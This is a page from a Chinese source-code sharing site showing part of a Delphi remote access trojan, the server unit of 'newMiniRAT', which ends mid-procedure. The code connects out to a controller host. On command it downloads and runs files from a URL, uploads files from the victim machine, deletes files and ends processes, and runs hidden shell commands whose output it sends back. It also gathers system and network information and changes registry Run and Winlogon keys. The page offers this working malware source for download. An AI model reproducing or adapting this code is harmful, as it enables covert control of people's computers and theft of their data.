开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
复件 Userver.pas
资源名称：newMiniRAT.rar　[点击查看]
上传用户：sinothink
上传日期：2022-07-15
资源大小：459k
文件大小：30k
源码类别：

远程控制编程

开发平台：

Delphi

复件 Userver.pas：源码内容
  1. {南域剑盟    www.98exe.com   上兴QQ:51992
  2.  声明：程序由南域剑盟98exe.com成员网上搜集，不承担技术及版权问题}
  4. {随便加了点注释，文件传输不详细注了，大家网上找相关资料看}
  5. unit UServer;
  7. interface
  8. uses
  9.   Windows, Messages, Winsock, Wininet, untCMDList, ShellApi, psApi, TLHelp32,
  10.     untHTTPDownload,SysUtils2,URsConst;
  12. const
  13.   version = '0.50B';
  15.   { host          : string = '127.0.0.1';
  16.    password      : string = 'shj';
  17.    port          : integer = 80;
  18.    }
  19.   {文件属性常量}
  20.   faReadOnly = $00000001; //只读文件
  21.   faHidden = $00000002; //隐藏文件
  22.   faSysFile = $00000004; // 系统文件
  23.   faVolumeID = $00000008; // 卷标文件
  24.   faDirectory = $00000010; // 目录
  25.   faArchive = $00000020; //归档文件
  26.   faAnyFile = $0000003F; // 任意文件
  28. type
  29.   TFileName = type string; //文件
  30.   TSearchRec = record
  31.     Time: Integer;
  32.     Size: Integer;
  33.     Attr: Integer;
  34.     Name: TFileName;
  35.     ExcludeAttr: Integer;
  36.     FindHandle: THandle;
  37.     FindData: TWin32FindData;
  38.   end;
  40.   LongRec = packed record
  41.     case Integer of
  42.       0: (Lo, Hi: Word);
  43.       1: (Words: array[0..1] of Word);
  44.       2: (Bytes: array[0..3] of Byte);
  45.   end;
  47.   TInfo = record
  48.     Name: string;
  49.     Host: string;
  50.     Port: Integer;
  51.     Size: Integer;
  52.   end;
  53.   PInfo = ^TInfo;
  55.   TServer = class(TObject)
  56.   private
  57.     Sock: TSocket;
  58.     Addr: TSockAddrIn;
  59.     WSA: TWSAData;
  60.   public
  61.     procedure Connect;
  62.     procedure SendData(Text: string);
  63.     procedure ReceiveData;
  65.     function GetNet: string;
  66.   end;
  68. var
  69.   Serv: TServer;
  70.   PieZhi:TRedCtrl;
  71.   ConFile:string;
  72.   Info: TInfo;
  73.   Port: Integer;
  74.   Close: Boolean;
  75.   LastDir: string;
  76.   Host: string;
  77.   Password: string;
  79. {  dName: string;
  80.   dAName: string;
  81.   dSystem: string;
  82.   dMelt: string;
  83.   dDelay: string;
  84.   dPort: string;
  85.   dDns: string;
  86.   dPass: string;
  87.   dRegName: string;
  88.   dRegLM: string;
  89.   dRegCU: string;
  90.   dRegSH: string;
  91.   dInject: string;
  92. }
  93.   //判断网络是否链接--------------------------------------------
  94. function InternetGetConnectedStateEx(
  95.   lpdwFlags: LPDWORD;
  96.   lpszConnectionName: LPTSTR;
  97.   dwNameLen: DWORD;
  98.   dwReserved: DWORD): BOOL; stdcall;
  99. external 'wininet.dll' name 'InternetGetConnectedStateEx';
  101. procedure miniratMain;
  102. implementation
  104. procedure SetRegValue(ROOT: hKey; Path, Value, Str: string);
  105. var
  106.   Key: hKey;
  107.   Size: Cardinal;
  108. begin
  109.   RegOpenKey(ROOT, pChar(Path), Key); //打开给定键
  110.   Size := 2048;
  111.   RegSetValueEx(Key, pChar(Value), 0, REG_SZ, @Str[1], Size); //写注册表
  112.   RegCloseKey(Key); //释放
  113. end;
  115. procedure SetDelValue(ROOT: hKey; Path, Value: string);
  116. var
  117.   Key: hKey;
  118.   Size: Cardinal;
  119. begin
  120.   RegOpenKey(ROOT, pChar(Path), Key);
  121.   Size := 2048;
  122.   RegDeleteValue(Key, pChar(Value));
  123.   RegCloseKey(Key);
  124. end;
  125. //写入注册表-----------------------------------------------
  126. procedure Uninstall;
  127. begin
  128.   SetDelValue(HKEY_LOCAL_MACHINE,
  129.     'SoftwareMicrosoftWindowsCurrentVersionRun', dRegName);
  130.   SetDelValue(HKEY_CURRENT_USER,
  131.     'SoftwareMicrosoftWindowsCurrentVersionRun', dRegName);
  132.   SetRegValue(HKEY_LOCAL_MACHINE,
  133.     'SoftwareMicrosoft NTWindowsCurrentVersionWinlogon', 'Shell',
  134.     'Explorer.exe');
  135.   ExitProcess(0);
  136. end;
  138. function Enumeration(dRes: PNetResource; dI: Integer): string;
  139. var
  140.   dHandle: THandle;
  141.   K: DWord;
  142.   BufferSize: DWord;
  143.   Buffer: array[0..1023] of TNetResource;
  144.   I: Word;
  145.   Temp: string;
  146. begin
  147.   WNetOpenEnum(2, 0, 0, dRes, dHandle);
  149.   K := 1024; //  大小为1024
  150.   BufferSize := SizeOf(Buffer); //获得盘
  152.   while (WNetEnumResource(dHandle, K, @Buffer, BufferSize) = 0) do //获得资源
  153.     for I := 0 to K - 1 do
  154.     begin
  155.       if (Buffer[I].dwDisplayType = RESOURCEDISPLAYTYPE_SERVER) then
  156.         //显示类型为服务器(工作组)
  157.       begin
  158.         Temp := IntToStr(C_INFONETWORK) + ' ' + pChar(Buffer[I].lpRemoteName) +
  159.           ' "' + pChar(Buffer[I].lpComment) + '"'#10;
  160.         if (Pos(Temp, Result) = 0) then
  161.           Result := Result + Temp;
  162.       end;
  163.       if (Buffer[I].dwUsage > 0) then
  164.       begin
  165.         Temp := Enumeration(@Buffer[I], 1);
  166.         if (Pos(Temp, Result) = 0) then
  167.           Result := Result + Temp;
  168.       end;
  169.     end;
  171.   WNetCloseEnum(dHandle); // 获取所有目录
  172. end;
  174. function GetNetworkInfo: string;
  175. begin
  176.   Result := IntToStr(C_INFONETWORK) + ' Domains Comments'#10 +
  177.     Enumeration(nil, 0);
  178. end;
  180. //尾部加入资源，版本，地址，密码，端口－－－－－－－－－－－－－－－－－－
  181. function GetServerInfo: string;
  182. begin
  183.   Result := IntToStr(C_INFOSERVER) + ' Version ' + Version + #10 +
  184.     IntToStr(C_INFOSERVER) + ' RmtAddr ' + PieZhi.dDnsHost + #10 +
  185.     IntToStr(C_INFOSERVER) + ' Password ' + PieZhi.dPass + #10 +
  186.     IntToStr(C_INFOSERVER) + ' SrvPort ' + PieZhi.dLocalPort + #10 +
  187.     IntToStr(C_INFOSERVER) + ' RmtPort ' + PieZhi.dRemotePort + #10;
  188. end;
  190. //记录-----
  191. function GetInformation: string;
  192. var
  193.   HostName: array[0..069] of Char;
  194.   Sysdir: array[0..255] of Char;
  195.   MemoryStatus: TMemoryStatus;
  196.   Total: Integer;
  197. begin
  198.   GetHostName(HostName, SizeOf(HostName));
  199.   GetSystemDirectory(Sysdir, 256);
  201.   MemoryStatus.dwLength := SizeOf(TMemoryStatus);
  202.   GlobalMemoryStatus(MemoryStatus);
  204.   Total := GetTickCount() div 1000;
  206.   Result := IntToStr(C_INFOSYSTEM) + ' Hostname ' + Hostname + #10 +
  207.     IntToStr(C_INFOSYSTEM) + ' System ' + string(SysDir) + #10 +
  208.     IntToStr(C_INFOSYSTEM) + ' Memory(Total) ' +
  209.       IntToStr(MemoryStatus.dwTotalPhys div 1048576) + ' MB Total'#10 +
  210.     IntToStr(C_INFOSYSTEM) + ' Memory(Free) ' + IntToStr(MemoryStatus.dwAvailPhys
  211.       div 1048576) + ' MB Free'#10 +
  212.     IntToStr(C_INFOSYSTEM) + ' Memory(Used) ' +
  213.       IntToStr(MemoryStatus.dwMemoryLoad) + '% In Use'#10 +
  214.     IntToStr(C_INFOSYSTEM) + ' Uptime ' + IntToStr(Total div 86400) + ' days ' +
  215.     IntToStr((Total mod 86400) div 3600) + ' hours ' +
  216.     IntToStr(((Total mod 86400) mod 3600) div 60) + ' min ' +
  217.     IntToStr((((Total mod 86400) mod 3600) mod 60) div 1) + ' sec'#10;
  218. end;
  220. //检查本机网络状态---------------------
  221. function TServer.GetNet: string;
  222. var
  223.   W: DWord;
  224.   Name: array[0..128] of Char;
  225. begin
  226.   FillChar(Name, SizeOf(Name), 0);
  227.   InternetGetConnectedStateEx(@W, Name, 128, 0); //检查连接internet状态
  228.   if (W and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
  229.     Result := 'LAN (' + string(Name) + ')'
  230.   else
  231.     Result := 'Dial-Up (' + string(Name) + ')';
  232. end;
  234. // Send Data
  235. function SendData(Sock: TSocket; Text: string; var sByte: Cardinal): Integer;
  236. var
  237.   Len: Integer;
  238. begin
  239.   Result := Length(Text);
  240.   Len := Send(Sock, Text[1], Length(Text), 0);
  241.   Inc(sByte, Len);
  242. end;
  244. //下面基本都是功能了，文件的操作等
  245. procedure StripOutCmd(Text: string; var Cmd: string);
  246. begin Cmd := Copy(Text, 1, Pos(' ', Text) - 1);
  247. end;
  249. procedure StripOutParam(Text: string; var Param: array of string);
  250. var
  251.   I: Word;
  252. begin
  253.   if Text = '' then Exit;
  254.   FillChar(Param, SizeOf(Param), 0);
  255.   Delete(Text, 1, Pos(' ', Text));
  257.   if Text = '' then Exit;
  258.   if (Text[Length(Text)] <> ' ') then Text := Text + ' ';
  260.   I := 0;
  261.   while (Pos(' ', Text) > 0) do
  262.   begin
  263.     Param[I] := Copy(Text, 1, Pos(' ', Text) - 1);
  264.     Inc(I);
  265.     Delete(Text, 1, Pos(' ', Text));
  266.     if (I >= 100) then Break;
  267.   end;
  268. end;
  270. //   传递文件
  271. function RecvFile(P: Pointer): DWord; STDCALL;
  272. var
  273.   Sock: TSocket;
  274.   Addr: TSockAddrIn;
  275.   WSA: TWSAData;
  277.   BytesRead: Cardinal;
  279.   F: file;
  280.   Buf: array[0..8192] of Char;
  281.   dErr: Integer;
  283.   Name: string;
  284.   Host: string;
  285.   Port: Integer;
  286.   Size: Integer;
  288.   T: string;
  289. begin
  290.   Name := PInfo(P)^.Name;
  291.   Host := PInfo(P)^.Host;
  292.   Port := PInfo(P)^.Port;
  293.   Size := PInfo(P)^.Size;
  295.   WSAStartUp($0101, WSA);
  296.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  297.   Addr.sin_family := AF_INET;
  298.   Addr.sin_port := hTons(Port);
  299.   Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
  301.   if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
  303.   {$I-}
  304.   T := 'ok';
  305.   AssignFile(F, Name);
  306.   Rewrite(F, 1);
  307.   repeat
  308.     FillChar(Buf, SizeOf(Buf), 0);
  309.     dErr := Recv(Sock, Buf, SizeOf(Buf), 0);
  310.     if (dErr > 0) then
  311.       BlockWrite(F, Buf, dErr)
  312.     else
  313.       Break;
  314.     Dec(Size, dErr);
  315.     dErr := Send(Sock, T[1], Length(T), 0);
  316.   until Size <= 0;
  317.   CloseFile(F);
  318.   {$I+}
  320.   WSACleanUp();
  321. end;
  322. //定时检测
  323. function SendFile(P: Pointer): DWord; STDCALL;
  324. var
  325.   Sock: TSocket;
  326.   Addr: TSockAddrIn;
  327.   WSA: TWSAData;
  329.   BytesRead: Cardinal;
  331.   F: file;
  332.   Buf: array[0..8192] of Char;
  333.   dErr: Integer;
  335.   Name: string;
  336.   Host: string;
  337.   Port: Integer;
  339.   T: string;
  340. begin
  341.   Name := PInfo(P)^.Name;
  342.   Host := PInfo(P)^.Host;
  343.   Port := PInfo(P)^.Port;
  345.   WSAStartUp($0101, WSA);
  346.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  347.   Addr.sin_family := AF_INET;
  348.   Addr.sin_port := hTons(Port);
  349.   Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
  351.   if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
  353.   {$I-}
  354.   T := 'ok';
  355.   AssignFile(F, Name);
  356.   Reset(F, 1);
  357.   repeat
  358.     BlockRead(F, Buf, SizeOf(Buf), BytesRead);
  359.     if (BytesRead = 0) then Break;
  361.     Send(Sock, Buf[0], SizeOf(Buf), 0);
  362.     FillChar(Buf, SizeOf(Buf), 0);
  363.     Recv(Sock, Buf, SizeOf(Buf), 0);
  364.   until BytesRead = 0;
  365.   CloseFile(F);
  366.   {$I+}
  368.   WSACleanUp();
  369. end;
  371. //取回的文件大小 ------------------------------
  372. function GetFileSize(FileName: string): Int64;
  373. var
  374.   H: THandle;
  375.   Data: TWIN32FindData;
  376. begin
  377.   Result := -1;
  378.   H := FindFirstFile(pChar(FileName), Data);
  379.   if (H <> INVALID_HANDLE_VALUE) then
  380.   begin
  381.     Windows.FindClose(H);
  382.     Result := Int64(Data.nFileSizeHigh) shl 32 + Data.nFileSizeLow;
  383.   end;
  384. end;
  386. //将IP解释成主机名
  387. function RemoteAddr(Sock: TSocket): TSockAddrIn;
  388. var
  389.   W: TWSAData;
  390.   S: TSockAddrIn;
  391.   I: Integer;
  392. begin
  393.   WSAStartUP($0101, W);
  394.   I := SizeOf(S);
  395.   GetPeerName(Sock, S, I);
  396.   WSACleanUP();
  398.   Result := S;
  399. end;
  401. function RemoteAddress(Sock: TSocket): string;
  402. begin
  403.   Result := INET_NTOA(RemoteAddr(Sock).sin_addr);
  404. end;
  406. function FindMatchingFile(var F: TSearchRec): Integer;
  407. var
  408.   LocalFileTime: TFileTime; //文件创建的时间
  409. begin
  410.   with F do
  411.   begin
  412.     while FindData.dwFileAttributes and ExcludeAttr <> 0 do
  413.       if not FindNextFile(FindHandle, FindData) then
  414.       begin
  415.         Result := GetLastError;
  416.         Exit;
  417.       end;
  418.     FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
  419.     FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo);
  420.     Size := FindData.nFileSizeLow;
  421.     Attr := FindData.dwFileAttributes;
  422.     Name := FindData.cFileName;
  423.   end;
  424.   Result := 0;
  425. end;
  427. procedure FindClose(var F: TSearchRec);
  428. begin
  429.   if F.FindHandle <> INVALID_HANDLE_VALUE then
  430.   begin
  431.     Windows.FindClose(F.FindHandle);
  432.     F.FindHandle := INVALID_HANDLE_VALUE;
  433.   end;
  434. end;
  436. function FindFirst(const Path: string; Attr: Integer;
  437.   var F: TSearchRec): Integer;
  438. const
  439.   faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
  440. begin
  441.   F.ExcludeAttr := not Attr and faSpecial;
  442.   F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
  443.   if F.FindHandle <> INVALID_HANDLE_VALUE then
  444.   begin
  445.     Result := FindMatchingFile(F);
  446.     if Result <> 0 then FindClose(F);
  447.   end
  448.   else
  449.     Result := GetLastError;
  450. end;
  452. function FindNext(var F: TSearchRec): Integer;
  453. begin
  454.   if FindNextFile(F.FindHandle, F.FindData) then
  455.     Result := FindMatchingFile(F)
  456.   else
  457.     Result := GetLastError;
  458. end;
  460. //找到的是个目录而不是文件...
  461. procedure GenerateList(Dir: string; dNr: Integer);
  462. var
  463.   SR: TSearchRec;
  464.   Temp: string;
  465.   Att: string;
  466. begin
  467.   if (Dir = '') then Exit;
  468.   if (Dir[Length(Dir)] <> '') then Dir := Dir + '';
  469.   if FindFirst(Dir + '*.*', faDirectory or faHidden or faSysFile or faVolumeID or
  470.     faArchive or faAnyFile, SR) = 0 then
  471.     repeat
  472.       if ((SR.Attr and faDirectory) = faDirectory) then
  473.       begin
  474.         Temp := IntToStr(C_REQUESTLIST) + ' DIR 0 ' + SR.Name + #10;
  475.         if (dNr = 1) then
  476.           Send(Serv.Sock, Temp[1], Length(Temp), 0);
  477.       end
  478.       else
  479.       begin
  480.         Att := '';
  481.         if ((SR.Attr and faReadOnly) = faReadOnly) then
  482.           Att := Att + 'ReadOnly/';
  483.         if ((SR.Attr and faHidden) = faHidden) then Att := Att + 'Hidden/';
  484.         if ((SR.Attr and faSysFile) = faSysFile) then Att := Att + 'SysFile/';
  485.         if ((SR.Attr and faVolumeID) = faVolumeID) then
  486.           Att := Att + 'VolumeID/';
  487.         if ((SR.Attr and faArchive) = faArchive) then Att := Att + 'Archive/';
  488.         if ((SR.Attr and faAnyFile) = faAnyFile) then Att := Att + 'AnyFile/';
  490.         if Copy(Att, length(Att), 1) = '/' then
  491.           Delete(Att, Length(Att), 1);
  493.         Temp := IntToStr(C_REQUESTLIST) + ' ' + Att + ' ' + IntToStr(SR.Size) +
  494.           ' ' + SR.Name + #10;
  495.         if (dNr = 2) then
  496.           Send(Serv.Sock, Temp[1], Length(Temp), 0);
  497.       end;
  498.     until FindNext(SR) <> 0;
  499. end;
  501. procedure CvtInt;
  502. asm
  503.        OR      CL,CL
  504.        JNZ     @CvtLoop
  505. @C1:    OR      EAX,EAX
  506.        JNS     @C2
  507.        NEG     EAX
  508.        CALL    @C2
  509.        MOV     AL,'-'
  510.        INC     ECX
  511.        DEC     ESI
  512.        MOV     [ESI],AL
  513.        RET
  514. @C2:    MOV     ECX,10
  516. @CvtLoop:
  517.        PUSH    EDX
  518.        PUSH    ESI
  519. @D1:    XOR     EDX,EDX
  520.        DIV     ECX
  521.        DEC     ESI
  522.        ADD     DL,'0'
  523.        CMP     DL,'0'+10
  524.        JB      @D2
  525.        ADD     DL,('A'-'0')-10
  526. @D2:    MOV     [ESI],DL
  527.        OR      EAX,EAX
  528.        JNE     @D1
  529.        POP     ECX
  530.        POP     EDX
  531.        SUB     ECX,ESI
  532.        SUB     EDX,ECX
  533.        JBE     @D5
  534.        ADD     ECX,EDX
  535.        MOV     AL,'0'
  536.        SUB     ESI,EDX
  537.        JMP     @z
  538. @zloop: MOV     [ESI+EDX],AL
  539. @z:     DEC     EDX
  540.        JNZ     @zloop
  541.        MOV     [ESI],AL
  542. @D5:
  543. end;
  545. function IntToHex(Value: Integer; Digits: Integer): string;
  546. asm
  547.        CMP     EDX, 32
  548.        JBE     @A1
  549.        XOR     EDX, EDX
  550. @A1:    PUSH    ESI
  551.        MOV     ESI, ESP
  552.        SUB     ESP, 32
  553.        PUSH    ECX
  554.        MOV     ECX, 16
  555.        CALL    CvtInt
  556.        MOV     EDX, ESI
  557.        POP     EAX
  558.        CALL    System.@LStrFromPCharLen
  559.        ADD     ESP, 32
  560.        POP     ESI
  561. end;
  563. //列出进程 + 列出模块 (查看PID, 线程, 模块)
  564. procedure ListProcess(dInt: Integer);
  565. var
  566.   CB: DWord;
  567.   hMod_: HMODULE;
  568.   hMod: array[0..300] of HMODULE;
  569.   hProcess: THandle;
  570.   hModule: THandle;
  571.   hSnapShot: THandle;
  572.   ProcessName: array[0..300] of Char;
  573.   ModuleName: array[0..300] of Char;
  574.   ProcessEntry: TProcessEntry32;
  575.   Done: Boolean;
  576.   Temp: string;
  577.   Mods: Integer;
  578.   I: Word;
  579.   B: array[0..9] of Char;
  580. begin
  581.   hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  582.   ProcessEntry.dwSize := SizeOf(ProcessEntry);
  583.   Done := Process32First(hSnapShot, ProcessEntry);
  584.   while Done do
  585.   begin
  586.     hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False,
  587.       ProcessEntry.th32ProcessID);
  588.     if (hProcess <> 0) then
  589.     begin
  590.       EnumProcessModules(hProcess, @hMod_, SizeOf(hMod_), CB);
  591.       GetModuleFileNameExA(hProcess, hMod_, ProcessName, SizeOf(ProcessName));
  592.       if (Pos('', ProcessName) > 0) then
  593.       begin
  594.         Temp := IntToStr(C_PROCESSLIST) + ' ' +
  595.           IntToStr(ProcessEntry.cntThreads) + ' ' +
  596.           IntToStr(ProcessEntry.th32ProcessID) + ' ' +
  597.           IntToHex(ProcessEntry.th32ProcessID, 8) + ' ' +
  598.           ProcessName + #10;
  599.         Send(Serv.Sock, Temp[1], Length(Temp), 0);
  600.         if (Recv(Serv.Sock, B[0], SizeOf(B), 0) <= 0) then
  601.         begin
  602.           CloseHandle(hProcess);
  603.           CloseHandle(hSnapShot);
  604.           Exit;
  605.         end;
  606.         if (dInt = 1) then
  607.         begin
  608.           EnumProcessModules(hProcess, @hMod, SizeOf(hMod), CB);
  609.           Mods := CB div SizeOf(HMODULE);
  610.           Temp := '';
  611.           for I := 0 to Mods do
  612.           begin
  613.             GetModuleFilenameExA(hProcess, hMod[I], ModuleName,
  614.               SizeOf(ModuleName));
  615.             Temp := IntToStr(C_MODULELIST) + ' ' +
  616.               IntToStr(ProcessEntry.th32ProcessID) + ' ' +
  617.               ExtractFileName(ProcessName) + #1' ' +
  618.               ModuleName + #10;
  619.             Send(Serv.Sock, Temp[1], Length(Temp), 0);
  620.             if (Recv(Serv.Sock, B[0], SizeOf(B), 0) <= 0) then
  621.             begin
  622.               CloseHandle(hProcess);
  623.               CloseHandle(hSnapShot);
  624.               Exit;
  625.             end;
  626.           end;
  627.         end;
  628.       end;
  629.       CloseHandle(hProcess);
  630.     end;
  631.     Done := Process32Next(hSnapshot, ProcessEntry);
  632.   end;
  633.   CloseHandle(hSnapShot);
  634. end;
  636. procedure EndProcess(dPID: string);
  637. var
  638.   ProcessHandle: THandle;
  639.   ReturnValue: Boolean;
  640.   Temp: string;
  641. begin
  642.   ProcessHandle := OpenProcess(PROCESS_TERMINATE, BOOL(0), StrToInt(dPID));
  643.   ReturnValue := TerminateProcess(ProcessHandle, 0);
  644.   if (not ReturnValue) then
  645.     Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 0'#10
  646.   else
  647.     Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 1'#10;
  648.   Send(Serv.Sock, Temp[1], Length(Temp), 0);
  649. end;
  651. function RunDosInCap(DosApp: string): string;
  652. const
  653.   ReadBuffer = 24000;
  654. var
  655.   Security: TSecurityAttributes;
  656.   ReadPipe, WritePipe: THandle;
  657.   start: TStartUpInfo;
  658.   ProcessInfo: TProcessInformation;
  659.   Buffer: Pchar;
  660.   BytesRead, Apprunning: DWord;
  661. begin
  662.   with Security do
  663.   begin
  664.     nlength := SizeOf(TSecurityAttributes);
  665.     binherithandle := true;
  666.     lpsecuritydescriptor := nil;
  667.   end;
  668.   if Createpipe(ReadPipe, WritePipe, @Security, 0) then
  669.   begin
  670.     Buffer := AllocMem(ReadBuffer + 1);
  671.     FillChar(Start, Sizeof(Start), #0);
  672.     start.cb := SizeOf(start);
  673.     start.hStdOutput := WritePipe;
  674.     start.hStdInput := ReadPipe;
  675.     start.dwFlags := STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  676.     start.wShowWindow := SW_HIDE;
  677.     if CreateProcess(nil, PChar(DosApp), @Security, @Security, true,
  678.       NORMAL_PRIORITY_CLASS, nil, nil, start, ProcessInfo) then
  679.     begin
  680.       repeat
  681.         Apprunning := WaitForSingleObject(ProcessInfo.hProcess, 100);
  682.       until (Apprunning <> WAIT_TIMEOUT);
  683.       repeat
  684.         BytesRead := 0;
  685.         ReadFile(ReadPipe, Buffer[0], ReadBuffer, BytesRead, nil);
  686.         Buffer[BytesRead] := #0;
  687.         OemToAnsi(Buffer, Buffer);
  688.         Result := Result + string(Buffer);
  689.       until (BytesRead < ReadBuffer);
  690.     end;
  691.     FreeMem(Buffer);
  692.     CloseHandle(ProcessInfo.hProcess);
  693.     CloseHandle(ProcessInfo.hThread);
  694.     CloseHandle(ReadPipe);
  695.     CloseHandle(WritePipe);
  696.   end;
  697. end;
  699. procedure ReplaceStr(ReplaceWord, WithWord: string; var Text: string);
  700. var
  701.   xPos: Integer;
  702. begin
  703.   while Pos(ReplaceWord, Text) > 0 do
  704.   begin
  705.     xPos := Pos(ReplaceWord, Text);
  706.     Delete(Text, xPos, Length(ReplaceWord));
  707.     Insert(WithWord, Text, xPos);
  708.   end;
  709. end;
  711. //文件传递
  712. procedure TServer.ReceiveData;
  713. var
  714.   Buffer: array[0..1600] of Char;
  715.   Data: string;
  717.   Time: TTimeVal;
  718.   FDS: TFDSet;
  719.   D: Dword;
  721.   Len: Integer;
  722.   Port: Integer;
  724.   Temp: string;
  725.   Cmd: string;
  726.   Param: array[0..100] of string;
  727.   P: Integer;
  728.   FName: string;
  729. begin
  730.   repeat
  731.     Time.tv_sec := 120;
  732.     Time.tv_usec := 0;
  734.     FD_ZERO(FDS);
  735.     FD_SET(Sock, FDS);
  737.     if Select(0, @FDS, nil, nil, @TIME) <= 0 then Break;
  739.     Len := Recv(Sock, Buffer, 1600, 0);
  740.     if (Len <= 0) then Break;
  742.     Data := string(Buffer);
  743.     ZeroMemory(@Buffer, SizeOf(Buffer));
  745.     while (Pos(#10, Data) > 0) do
  746.     begin
  747.       Temp := Copy(Data, 1, Pos(#10, Data) - 1);
  748.       Delete(Data, 1, Pos(#10, Data));
  750.       StripOutCmd(Temp, Cmd);
  751.       StripOutParam(Temp, Param);
  753.       case StrToInt(Cmd) of
  754.         C_DOWNLOAD:
  755.           begin
  756.             Temp := IntToStr(C_DOWNLOAD) + ' ' + ExecuteFileFromURL(Param[0],
  757.               Copy(Temp, Pos(Param[1], Temp), Length(Temp)));
  758.             Send(Sock, Temp[1], Length(Temp), 0);
  759.             Sleep(2000);
  760.             ExitProcess(0);
  761.           end;
  762.         C_UNINSTALL: Uninstall;
  763.         C_PASS:
  764.           if (Param[0] = '0') then CloseSocket(Sock);
  765.         C_GETFILE:
  766.           begin
  767.             Delete(Temp, 1, 2);
  768.             if (FileExists(Temp)) then
  769.             begin
  770.               FName := ExtractFileName(Temp);
  771.               repeat
  772.                 P := Pos(#32, FName);
  773.                 Delete(FName, P, 1);
  774.                 Insert('_', FName, P);
  775.               until (Pos(#32, FName) = 0);
  776.               Port := ((Random(9) + 1) * 1000) + Random(500);
  777.               SendData(IntToStr(C_STARTTRANSFER) + ' 0 ' +
  778.                 IntToStr(GetFileSize(Temp)) + ' ' + IntToStr(Port) + ' ' + FName +
  779.                 #10);
  780.               Info.Name := Temp;
  781.               Info.Host := RemoteAddress(Sock);
  782.               Info.Port := Port;
  783.               CreateThread(nil, 0, @SendFile, @Info, 0, D);
  784.             end;
  785.           end;
  786.         C_PUTFILE:
  787.           begin
  788.             (* C_PUTFILE size NewName#1 OldName *)
  789.             Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
  790.             FName := Copy(Temp, Pos(#1, Temp) + 2, Length(Temp));
  791.             Temp := Copy(Temp, 1, Pos(#1, Temp) - 1);
  793.             Port := ((Random(9) + 1) * 1000) + Random(500);
  794.             SendData(IntToStr(C_STARTTRANSFER) + ' 1 ' + Param[0] + ' ' +
  795.               IntToStr(Port) + ' ' + FName + #10);
  796.             Info.Name := Temp;
  797.             Info.Host := RemoteAddress(Sock);
  798.             Info.Port := Port;
  799.             Info.Size := StrToInt(Param[0]);
  800.             CreateThread(nil, 0, @RecvFile, @Info, 0, D);
  801.           end;
  802.         C_INFOSYSTEM: SendData(GetInformation());
  803.         C_INFOSERVER: SendData(GetServerInfo());
  804.         C_INFONETWORK: SendData(GetNetworkInfo());
  805.         C_REQUESTDRIVE:
  806.           begin
  807.             SetLength(Temp, 300);
  808.             GetLogicalDriveStrings(300, pChar(Temp));
  809.             while (Pos(#0, Temp) > 0) do
  810.             begin
  811.               FName := IntToStr(C_REQUESTDRIVE) + ' ' + Copy(Temp, 1, Pos(#0,
  812.                 Temp) - 1) + #10;
  813.               Temp := Copy(Temp, Pos(#0, Temp) + 1, Length(Temp));
  814.               Send(Sock, FName[1], Length(FName), 0);
  815.               FName := '';
  816.             end;
  817.           end;
  818.         C_REQUESTLIST:
  819.           begin
  820.             Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
  821.             GenerateList(Temp, 1);
  822.             GenerateList(Temp, 2);
  823.             LastDir := IntToStr(C_CURRENTPATH) + ' ' + Temp;
  824.             if LastDir <> '' then
  825.               if (LastDir[Length(LastDir)] <> '') then
  826.                 LastDir := LastDir + '';
  827.             LastDir := LastDir + #10;
  828.           end;
  829.         C_CURRENTPATH: Send(Sock, LastDir[1], Length(LastDir), 0);
  830.         C_EXECUTE:
  831.           begin
  832.             Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
  833.             ShellExecute(0, 'open', pChar(Temp), nil, nil, StrToInt(Param[0]));
  834.           end;
  835.         C_DELETE:
  836.           begin
  837.             Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
  838.             DeleteFile(pChar(Temp));
  839.           end;
  840.         C_PROCESSLIST:
  841.           begin
  842.             ListProcess(StrToInt(Param[0]));
  843.             Temp := IntToStr(C_FINISH) + ' '#10;
  844.             Send(Sock, Temp[1], Length(Temp), 0);
  845.           end;
  846.         C_ENDPROCESS: EndProcess(Copy(Temp, 4, Length(Temp)));
  847.         C_REMOTECMD:
  848.           begin
  849.             Temp := IntToStr(C_REMOTECMD) + ' ' +
  850.               RunDosInCap(Copy(Temp, 4, Length(Temp)));
  851.             ReplaceStr(#10, #1, Temp);
  852.             Temp := Temp + #10;
  853.             Send(Sock, Temp[1], Length(Temp), 0);
  854.           end;
  855.       end;
  856.     end;
  857.   until 1 = 2;
  859.   CloseSocket(Sock);
  860. end;
  862. procedure TServer.SendData(Text: string);
  863. var
  864.   dErr: Integer;
  865. begin
  866.   dErr := Send(Sock, Text[1], Length(Text), 0);
  867.   if (dErr = 0) then Exit;
  868. end;
  870. function ComputerName: string;
  871. var
  872.   CNameBuffer: PChar;
  873.   fl_loaded: Boolean;
  874.   CLen: ^DWord;
  875. begin
  876.   GetMem(CNameBuffer,255);
  877.   New(CLen);
  878.   CLen^:= 255;
  879.   fl_loaded := GetComputerName(CNameBuffer,CLen^);
  880.   if fl_loaded then
  881.     Result := StrPas(CNameBuffer)
  882.   else
  883.     Result := 'Unkown';
  884.   FreeMem(CNameBuffer,255);
  885.   Dispose(CLen);
  886. end;
  888. procedure TServer.Connect;
  889. begin
  890.   Password := PieZhi.dPass;
  891.   Host := ResolveIP(PieZhi.dDnsHost);
  892.   Port := 81; // StrToInt(PieZhi.dRemotePort);
  894.   WSAStartUP($0101, WSA); //加载winsock库
  896.   Close := False;
  897.   repeat
